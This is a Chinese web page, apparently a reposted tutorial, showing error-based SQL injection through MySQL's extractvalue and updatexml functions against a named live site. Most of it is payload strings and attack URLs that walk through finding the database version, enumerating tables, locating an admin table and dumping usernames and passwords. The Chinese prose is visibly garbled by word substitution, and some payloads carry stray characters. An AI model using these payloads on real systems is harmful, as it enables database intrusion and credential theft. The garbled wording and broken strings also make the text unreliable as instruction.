|
|
|
联系客服020-83701501

科普:XPATH注入

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
科普:XPATH注入

用这个网站做示例

Default
1 http://91ri.org/ newsdetail.php?id=51

1.搜查数据库版本?(ExtractValue)

代码:

Default
1 +and+extractvalue(rand(),concat(0x7e,version()))--

这会前往一个XPATH语法差池,会爆出书本号,这个是涉猎器的链接:

Default
1 http://www.91ri.org/ newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,version()))--

了局如图:

1

2.得到表名(ExtractValue)

代码:

Default
1 +and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.?tables+where+table_schema=database()+limit+0,1)))--

涉猎器的链接:

Default
1 http://www.91ri.org/ newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from?+information_schema.tables+where+table_schema=database()+limit+0,1)))--

了局如图

2

XPATH?syntax?error:’~pdigclicks’咱们的表名即是pdigclicks

为了得到admin表大要users表,咱们需要不时增加LIMIT函数的第一个参数来预料。

代码:

Default
1 http://www.91ri.org/ newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from?+information_schema.tables+where+table_schema=database()+limit+[b]2[/b],1)))--

这个时候得到XPATH?syntax?error:’~tbladmin’看来咱们想要的表名即是tbladmin

3.得到表的列名(ExtractValue)

第一步,咱们要把咱们得到的表名转化成字符串的。

‘a’转换成十六进制即是0x61。tbladmin的十六进制标明即是0x74626c61646d696e

而今为了得到列,咱们需要窜改一点点语法,但是实践上照旧那个思维。(因为XPATH切实跟SQL注入很像)

代码:

Default
1 +and+extractvalue(rand(),concat(0x7e,(select+column_name+from+information_schema?.columns+where+table_name=0xTABLE_HEX+limit+0,1)))--]

诚然,需要把下面代码的TABLE_HEX变卦成你找到的表名。

我的涉猎器链接看起来是何等的:

Default
1 http://www.91ri.org/ newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+column_name+fro?m+information_schema.columns+where+table_name=0x74626c61646d696e+limit+0,1)))--

前往了局:XPATH?syntax?error:’~adminid’

3

而今,为了得到咱们晓得咱们想要的列名,咱们需要不时增加LIMIT函数的参数

4.得到列的值(ExtractValue)

而今既然已经得到列的名字,咱们将要把它放到concat语句中去

代码:

Default
1 +and+extractvalue(rand(),concat(0x7e,(select+concat(column1,0x7e,column2)+from+T?ABLENAME+limit+0,1)))--

我想要的列名是username和password,0x7e暗示的是“~”标识表记标帜,我用这个“~算作归并符

我涉猎器的链接是何等的:

Default
1 +and+extractvalue(rand(),concat(0x7e,(select+concat(column1,0x7e,column2)+from+T?ABLENAME+limit+0,1)))--

就像你看到的,咱们得到了一个用户名和暗码

图:

4

(下面的模式只是把extractvalue函数换成为了UpdateXML函数来做一样的事变)

5.得到版本(UpdateXML)

代码:

Default
1 +and+updatexml(0x7e,concat(0x7e,(version())),0)--

我的涉猎器链接:

Default
1 91ri.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,(version())),0)--We get our XPATH Error that returns the version.

6.得到表名(UpdateXML)

代码:

Default
1 +and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+from+information_sch?ema.tables+where+table_schema=database()+limit+0,1))),0)

涉猎器链接:

Default
1 http://www.91ri.org/ newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+?from+information_schema.tables+where+table_schema=database()+limit+0,1))),0)--

7.得到列名(UpdateXML)

代码:

Default
1 +and+updatexml(0x7e,concat(0x7e,((select+concat(column_name)+from+information_sc?hema.columns+where+table_name=0xTABLE_HEX+limit+0,1))),0)--

涉猎器的链接:

Default
1 http://www.91ri.org/ newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(column_name)?+from+information_schema.columns+where+table_name=0x74626c61646d696e+limit+0,1))?),0)--

8.得到列的数据(UpdateXML)

涉猎器的链接:

Default
1 http://www.91ri.org/ newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(username,0x7?e,password)+from+tbladmin+limit+0,1))),0)

关连文章参考《对于Mysql注入过程当中的三种报错方法》

日币褒扬:

本文为原创译文、首发,按照本站积分规定赐与日币褒扬共4枚。

AD:本站开放投稿及积分(日币),日币可兑换实物褒扬,每个月top3可失掉礼品一份。

[via@evi1]

数安新闻+更多

证书相关+更多